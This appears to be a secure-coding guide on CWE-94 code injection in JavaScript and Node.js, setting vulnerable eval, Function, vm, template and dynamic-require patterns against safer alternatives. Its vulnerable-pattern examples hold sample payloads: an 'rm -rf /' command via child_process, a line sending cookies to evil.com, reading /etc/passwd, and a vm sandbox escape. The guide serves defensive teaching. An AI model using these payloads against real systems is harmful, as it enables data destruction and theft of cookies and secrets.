Skip to content

CWE-94: Improper Control of Generation of Code (Code Injection) - JavaScript/Node.js

Overview

Code injection in JavaScript/Node.js occurs when untrusted input is passed to code execution functions like eval(), Function(), browser setTimeout()/setInterval() with strings, vm.runInContext(), or unsafe template/evaluator APIs. This allows attackers to execute arbitrary JavaScript code with full access to the application's runtime, including file system access in Node.js, environment variables, modules, and application logic. In browser contexts, code injection can steal user data, manipulate DOM, and perform actions as the authenticated user.

Primary Defence: Never use eval() or the Function() constructor with user input. Replace dynamic code with safe alternatives such as JSON.parse() for data, declarative configuration, operation allowlists, AST-validated expression interpreters, or purpose-built parsers like math.js for formulas. If arbitrary user code is absolutely unavoidable, isolate it outside the main Node.js process with strong operating-system or container boundaries, no ambient secrets, no filesystem or network access, strict resource limits, and short timeouts. Do not rely on Node's vm module or discontinued sandbox packages as the security boundary for adversarial code.

Common Vulnerable Patterns

eval() with User Input

// VULNERABLE - Direct eval of user input
function calculate(expression) {
    const result = eval(expression);  // NEVER DO THIS
    return result;
}

// User input: "require('child_process').exec('rm -rf /')"
// In Node.js: Executes system commands!
// In browser: "document.location='http://evil.com?cookie='+document.cookie"
// Steals cookies!

Why this is vulnerable: eval() executes any JavaScript. Attacker can call functions, access globals, require modules (Node.js).

Function Constructor with User Input

// VULNERABLE - Function constructor creates executable code
function createValidator(userCode) {
    const fn = new Function('input', userCode);  // DANGEROUS
    return fn;
}

// User input: "return require('fs').readFileSync('/etc/passwd', 'utf8')"
// Reads sensitive file in Node.js!

Why this is vulnerable: Function() constructor compiles and executes code like eval(). Same attack surface.

Browser setTimeout/setInterval with String

// VULNERABLE in browsers - string timers execute as code
function scheduleTask(userTask) {
    window.setTimeout(userTask, 1000);  // If userTask is string - DANGEROUS
}

// User input (string): "require('child_process').exec('whoami')"
// Executes after 1 second!

// Also vulnerable
setInterval("userControlledCode", 5000);  // DANGEROUS

Why this is vulnerable: Browser timer APIs accept a string of code and compile it after the delay, which carries the same security risk as eval(). Modern Node.js timer APIs require a function callback and throw if the callback is not a function, but cross-environment code and browser code should still explicitly reject string callbacks.

vm.runInContext Without Sandboxing

const vm = require('vm');

// VULNERABLE - vm without proper sandboxing
function executeUserCode(code) {
    const context = { result: null };
    vm.runInContext(code, vm.createContext(context));  // DANGEROUS
    return context.result;
}

// User input: "this.constructor.constructor('return process')().mainModule.require('child_process').exec('whoami')"
// Escapes sandbox and executes system command!

Why this is vulnerable: Default vm context can be escaped. Attacker can access process, require, and other dangerous globals.

Template Literal Injection

// VULNERABLE - Template literal with user input in evaluation context
function generateCode(userInput) {
    const template = `
        function process(data) {
            return data.${userInput};
        }
    `;
    return eval(template);  // DOUBLE VULNERABLE
}

// User input: "constructor.constructor('return process')().env"
// Accesses environment variables!

Why this is vulnerable: User input in template + eval = code injection. Can access object prototypes.

Express Handlebars Without Helpers Restriction

const exphbs = require('express-handlebars');

// VULNERABLE - Handlebars without helper allowlisting
app.engine('handlebars', exphbs());

// Template with user-controlled data:
// {{lookup this userInput}}
// User input: "constructor.constructor('return process')().env.API_KEY"
// Accesses environment variables!

Why this is vulnerable: Handlebars helpers can access JavaScript context. Without restrictions, can reach dangerous objects.

Dynamic require() with User Input

// VULNERABLE - User-controlled module loading
function loadPlugin(pluginName) {
    const plugin = require(pluginName);  // DANGEROUS
    return plugin;
}

// User input: "child_process"
// Loads child_process module, can execute commands

// Also vulnerable with paths
const userPath = req.query.module;  // "../../../malicious"
const mod = require(userPath);  // Path traversal + code execution

Why this is vulnerable: Allows loading arbitrary modules. Attacker can load child_process, fs, custom malicious modules.

RegExp Constructor with User Input

// VULNERABLE - ReDoS + code injection via flags
function searchPattern(userPattern, userFlags) {
    const regex = new RegExp(userPattern, userFlags);  // Vulnerable to ReDoS
    // If combined with eval somehow, also code injection
    return regex.test(someText);
}

// User input pattern: "(a+)+" (ReDoS)
// User input flags with eval: "gi'); eval(maliciousCode); //"

Why this is vulnerable: While not direct code injection, can cause DoS. If flags concatenated into eval, becomes code injection.

Secure Patterns

SECURE: Math Expression Parser (math.js)

const math = require('mathjs');

// SECURE - Use dedicated math library with restricted scope
function safeCalculate(expression) {
    try {
        // Math.js parses mathematical expressions only
        const result = math.evaluate(expression);
        return result;
    } catch (error) {
        throw new Error('Invalid mathematical expression');
    }
}

// Safe: safeCalculate("2 + 2 * 3")  // 8
// Blocked: safeCalculate("require('fs')") // Math.js doesn't allow require

Why this works: math.js parses its own expression language rather than passing input to JavaScript eval() or the Function() constructor. That substantially reduces code-injection risk for formula features because expressions are interpreted as math syntax instead of arbitrary JavaScript. Treat arbitrary expression evaluation as risky anyway: keep math.js updated, disable high-risk parser functions such as import, createUnit, evaluate, parse, simplify, derivative, and resolve where they are not required, and apply expression length, complexity, CPU, and memory limits. For server-side use, consider running expression evaluation in a worker process that can be killed on timeout.

SECURE: JSON for Configuration (Not Code)

// SECURE - Use JSON configuration instead of executable code
function applyDiscount(price, ruleConfig) {
    const rule = JSON.parse(ruleConfig);

    // Declarative configuration
    switch (rule.type) {
        case 'percentage':
            return price * (1 - rule.value / 100);
        case 'fixed':
            return price - rule.value;
        case 'bulk':
            return price >= rule.threshold ? price * (1 - rule.discount) : price;
        default:
            throw new Error('Unknown rule type');
    }
}

// Safe configuration (JSON data, not code)
const config = '{"type": "percentage", "value": 10}';
const discounted = applyDiscount(100, config);  // 90

// No code injection possible - only data

Why this works: Using JSON for configuration instead of executable code eliminates code injection risk from this path. JSON is a data-only format - it can only represent objects, arrays, strings, numbers, booleans, and null; it cannot contain functions, method calls, or executable statements. When you parse JSON with JSON.parse(), you get pure data structures, not code. The business logic (switch statement, calculations) lives in your trusted JavaScript code, while user input only supplies data values. This is a strong pattern for extensibility: let users configure behavior through data (rule types, thresholds, values), not by injecting arbitrary code. Even if an attacker controls ruleConfig, they can only set data fields, not execute commands or access the runtime. Use this pattern for plugins, pricing rules, workflows, and any feature where users customize behavior.

SECURE: setTimeout with Function Reference

// SECURE - Pass function reference, not string
function scheduleTask(callback, delay) {
    if (typeof callback !== 'function') {
        throw new Error('Callback must be a function');
    }
    setTimeout(callback, delay);  // Safe - function reference
}

// Usage
scheduleTask(() => console.log('Task executed'), 1000);

// Blocked: scheduleTask("eval('malicious')", 1000)  // Throws error

Why this works: Passing function references to setTimeout instead of strings prevents code injection because functions are already compiled and scoped - they cannot be altered by user input. When you call setTimeout(callback, delay) with a function, the JavaScript engine invokes that specific function object; there's no parsing or evaluation step where attacker-controlled code could be injected. The typeof callback !== 'function' check ensures only function objects are accepted, blocking the dangerous string form of setTimeout("code", delay) which would parse and execute the string as JavaScript. This pattern applies to all timer/callback APIs: use function references or arrow functions, never strings. If you must accept user-defined behavior, prefer JSON-based configuration, a DSL, or a purpose-built parser such as math.js for mathematical expressions.

LAST RESORT: Isolate Untrusted Code Out of Process

const {spawn} = require('child_process');

// LAST RESORT - send work to a pre-built isolated runner, not eval/vm
function runIsolatedJob(jobConfig, timeout = 1000) {
    const child = spawn('/usr/local/bin/isolated-js-runner', [], {
        stdio: ['pipe', 'pipe', 'pipe'],
        shell: false,
        env: {}, // do not pass application secrets
    });

    const timer = setTimeout(() => {
        child.kill('SIGKILL');
    }, timeout);

    child.stdin.end(JSON.stringify(jobConfig));

    return new Promise((resolve, reject) => {
        let stdout = '';
        let stderr = '';

        child.stdout.on('data', chunk => stdout += chunk);
        child.stderr.on('data', chunk => stderr += chunk);

        child.on('close', code => {
            clearTimeout(timer);
            if (code !== 0) {
                reject(new Error(`isolated runner failed: ${stderr}`));
                return;
            }
            resolve(JSON.parse(stdout));
        });
    });
}

// jobConfig should be declarative data or a constrained DSL, not raw JavaScript.

Why this works: The safest fix is still to avoid executing user-provided code. When business requirements truly require user-defined logic, move execution outside the main application process and give that worker a minimal privilege set. The runner should execute in a restricted container, microVM, locked-down service account, or similarly isolated environment with no application secrets, no unnecessary filesystem access, no network access unless explicitly required, CPU and memory limits, and short timeouts. The Node.js application communicates with the runner using declarative data over stdin/stdout and does not expose require, process, or application objects to the untrusted logic. Treat this as a last resort, not a routine replacement for eval().

SECURE: Trusted Template with Auto-Escaped Data

const Handlebars = require('handlebars');

// SECURE - Handlebars with safe helpers only
Handlebars.registerHelper('safe', function(value) {
    // Only allow specific safe operations
    return Handlebars.escapeExpression(value);
});

const templateStr = 'Hello {{name}}!';

function renderTemplate(data) {
    const template = Handlebars.compile(templateStr);
    // Auto-escapes by default, no code execution
    return template(data);
}

// Usage
const html = renderTemplate({name: 'Alice'});  // "Hello Alice!"

// User provides data, not template source.

Why this works: Handlebars auto-escapes interpolated values by default, so user data passed as name is rendered as text rather than HTML. The important boundary is that the template source is trusted and user input is only data. Do not let untrusted users submit arbitrary Handlebars templates without a separate sandboxing and review model: templates are executable template logic, can consume resources, and may expose helpers or object properties you did not intend. Register only necessary helpers, avoid SafeString on untrusted input, and keep prototype/property access restrictions enabled.

SECURE: Module Allowlist for Plugins

// SECURE - Allowlist allowed modules
const ALLOWED_MODULES = new Set([
    'lodash',
    'moment',
    'axios'
]);

function loadModule(moduleName) {
    if (!ALLOWED_MODULES.has(moduleName)) {
        throw new Error(`Module "${moduleName}" not allowed`);
    }

    return require(moduleName);
}

// Safe: loadModule('lodash')  // OK
// Blocked: loadModule('child_process')  // Error thrown
// Blocked: loadModule('fs')  // Error thrown

Why this works: Allowlisting modules prevents code injection via dynamic require() calls. When users can control which modules are loaded (e.g., plugin systems, configurable imports), an attacker could load dangerous built-ins (child_process, fs, vm) or malicious npm packages to execute arbitrary code. By checking moduleName against a Set of pre-approved, safe modules before calling require(), you ensure only trusted, reviewed libraries are accessible. This pattern is essential for plugin architectures where users specify modules to load. The allowlist should be small, well-audited, and stored server-side (never trust client input for module names). For even stronger isolation, load plugins in separate processes or containers. Combine with package integrity checks (lock files, SRI) to prevent supply-chain attacks where approved modules are compromised.

SECURE: Expression Validator with Allowlist

const acorn = require('acorn');

// SECURE - Parse and validate AST
function validateExpression(expr) {
    try {
        const ast = acorn.parseExpressionAt(expr, 0, {ecmaVersion: 2020});

        // Allowlist allowed node types
        const ALLOWED_TYPES = new Set([
            'Literal', 'BinaryExpression', 'UnaryExpression',
            'LogicalExpression', 'ArrayExpression', 'Identifier'
        ]);

        function checkNode(node) {
            if (!ALLOWED_TYPES.has(node.type)) {
                throw new Error(`Forbidden node type: ${node.type}`);
            }

            // Recursively check child nodes
            for (const key in node) {
                const value = node[key];
                if (value && typeof value === 'object') {
                    if (Array.isArray(value)) {
                        value.forEach(checkNode);
                    } else if (value.type) {
                        checkNode(value);
                    }
                }
            }
        }

        checkNode(ast);
        return true;
    } catch (error) {
        throw new Error('Invalid expression: ' + error.message);
    }
}

// Usage
validateExpression("10 + 5 * 2");  // OK
// validateExpression("require('fs')")  // Error: Forbidden node type: CallExpression

Why this works: AST (Abstract Syntax Tree) validation parses user input into a syntax tree and checks it against an allowlist of safe node types before execution. The acorn parser converts the expression into structured nodes (Literal, BinaryExpression, etc.) without executing it. By walking the AST and rejecting dangerous node types (CallExpression for function calls, MemberExpression for property access, ImportExpression for imports), you prevent code injection even before evaluation. The allowlist includes only pure operations (literals, arithmetic, arrays), so attackers cannot call require(), eval(), access process, or execute arbitrary code. After validation passes, you can safely evaluate the AST or use it in a restricted interpreter. This is more robust than regex-based input validation, which attackers can bypass with encoding tricks. Use AST validation for calculators, query builders, or any feature where users provide expressions; never eval() unchecked strings.

SECURE: Content Security Policy (Browser)

// SECURE - CSP headers prevent inline script execution
const helmet = require('helmet');
const express = require('express');

const app = express();

// Set strict CSP
app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],  // No 'unsafe-eval', no 'unsafe-inline'
        objectSrc: ["'none'"],
        baseUri: ["'self'"],
        upgradeInsecureRequests: []
    }
}));

// Even if code injection vulnerability exists, CSP blocks execution

Why this works: Content Security Policy (CSP) provides defense-in-depth by instructing the browser to block eval(), Function(), inline <script> tags, and inline event handlers, even if a code injection vulnerability exists. By setting scriptSrc: ["'self'"] (without 'unsafe-eval'), the browser refuses to execute dynamically generated code, mitigating the impact of injection flaws. CSP is a mitigation layer, not a fix - combine it with proper input validation and output encoding. The helmet middleware automatically sets CSP headers on all responses. In browser contexts, CSP blocks the execution mechanism; in Node.js, other controls (sandboxing, input validation) are needed since CSP doesn't apply server-side. Use strict CSP ('self', no 'unsafe-eval', no 'unsafe-inline') for all web apps; monitor report-uri to detect violations and refine the policy.

Key Security Functions

Safe Expression Evaluator

const acorn = require('acorn');

function safeEval(expr, context = {}) {
    // Parse AST
    const ast = acorn.parseExpressionAt(expr, 0, {ecmaVersion: 2020});

    // Define allowed operations
    const ALLOWED = new Set([
        'Literal', 'BinaryExpression', 'UnaryExpression', 'Identifier'
    ]);

    function evaluate(node) {
        if (node.type === 'Literal') {
            return node.value;
        } else if (node.type === 'Identifier') {
            if (!(node.name in context)) {
                throw new Error(`Undefined variable: ${node.name}`);
            }
            return context[node.name];
        } else if (node.type === 'BinaryExpression') {
            const left = evaluate(node.left);
            const right = evaluate(node.right);

            switch (node.operator) {
                case '+': return left + right;
                case '-': return left - right;
                case '*': return left * right;
                case '/': return left / right;
                case '%': return left % right;
                default: throw new Error(`Unsupported operator: ${node.operator}`);
            }
        } else if (node.type === 'UnaryExpression') {
            const arg = evaluate(node.argument);
            switch (node.operator) {
                case '-': return -arg;
                case '+': return +arg;
                default: throw new Error(`Unsupported operator: ${node.operator}`);
            }
        } else {
            throw new Error(`Forbidden node type: ${node.type}`);
        }
    }

    return evaluate(ast);
}

// Usage
const result = safeEval("x + y * 2", {x: 10, y: 5});  // 20
// safeEval("require('fs')")  // Error: Forbidden node type: CallExpression

Module Loading Validator

const path = require('path');

function validateModulePath(modulePath, allowedPaths) {
    // Resolve to absolute path
    const resolved = path.resolve(modulePath);

    // Check if within allowed paths
    const isAllowed = allowedPaths.some(allowedPath => {
        const resolvedAllowed = path.resolve(allowedPath);
        return resolved === resolvedAllowed || resolved.startsWith(resolvedAllowed + path.sep);
    });

    if (!isAllowed) {
        throw new Error('Module path not allowed');
    }

    return resolved;
}

// Usage
const PLUGIN_DIR = './plugins';
const modulePath = validateModulePath(userInput, [PLUGIN_DIR]);
const plugin = require(modulePath);

Timeout Wrapper for Isolated Workers

const {spawn} = require('child_process');

function runWorkerWithTimeout(jobConfig, timeout = 1000) {
    return new Promise((resolve, reject) => {
        const child = spawn('/usr/local/bin/isolated-js-runner', [], {
            stdio: ['pipe', 'pipe', 'pipe'],
            shell: false,
            env: {}
        });

        const timer = setTimeout(() => {
            child.kill('SIGKILL');
            reject(new Error('Worker timed out'));
        }, timeout);

        let stdout = '';
        let stderr = '';

        child.stdout.on('data', chunk => stdout += chunk);
        child.stderr.on('data', chunk => stderr += chunk);
        child.on('error', error => {
            clearTimeout(timer);
            reject(error);
        });
        child.on('close', code => {
            clearTimeout(timer);
            if (code !== 0) {
                reject(new Error(stderr || `Worker exited with ${code}`));
                return;
            }
            resolve(JSON.parse(stdout));
        });

        child.stdin.end(JSON.stringify(jobConfig));
    });
}

runWorkerWithTimeout({operation: 'calculate', expression: '2 + 2'}, 1000)
    .then(result => console.log(result))
    .catch(error => console.error('Execution error:', error.message));

Analysis Steps

Locate the eval/Function Call

// Line 28 in src/calculator.js
const result = eval(req.query.expression);  // VULNERABLE

Trace Input Source

  • HTTP query parameter? req.query.expression
  • POST body? req.body.code
  • WebSocket message? ws.on('message', code => eval(code))
  • Database? User-stored formulas

Assess Execution Context

  • Node.js backend? (File system, process, network access)
  • Browser frontend? (DOM, cookies, localStorage access)
  • What privileges? (Database credentials in env vars?)

Determine Safe Alternative

  • Mathematical expressions → Use math.js or expr-eval
  • Configuration → Use JSON
  • Business rules → Declarative config or rule engine
  • User scripts → Avoid if possible; otherwise run in a separate locked-down process/container with strict resource limits

Verification

After remediation:

  • No eval(), Function(), setTimeout(string) with user input
  • No vm.runInContext() or node:vm use as a security boundary for untrusted code
  • No dynamic require() without allowlist
  • Templates use auto-escaping (Handlebars, EJS with <%=)
  • CSP headers block unsafe-eval (browser)
  • Scanner re-scan shows finding resolved
  • Tested with code injection payloads (blocked)

Security Checklist

  • Never use eval() with user input
  • Never use Function() constructor with user input
  • Never use setTimeout/setInterval with string arguments
  • Never use vm.runInContext() or node:vm for adversarial code isolation
  • Never use dynamic require() without allowlist
  • Use math.js or expr-eval for mathematical expressions
  • Use JSON for configuration (not executable code)
  • Use out-of-process isolation with OS/container controls if execution is absolutely unavoidable
  • Allowlist allowed modules for dynamic loading
  • Use Content Security Policy in browser (no unsafe-eval)
  • Validate input length and character set
  • Use AST parsing (acorn) to verify safe expressions
  • Run security scans (ESLint security plugin, NodeJSScan)

Additional Resources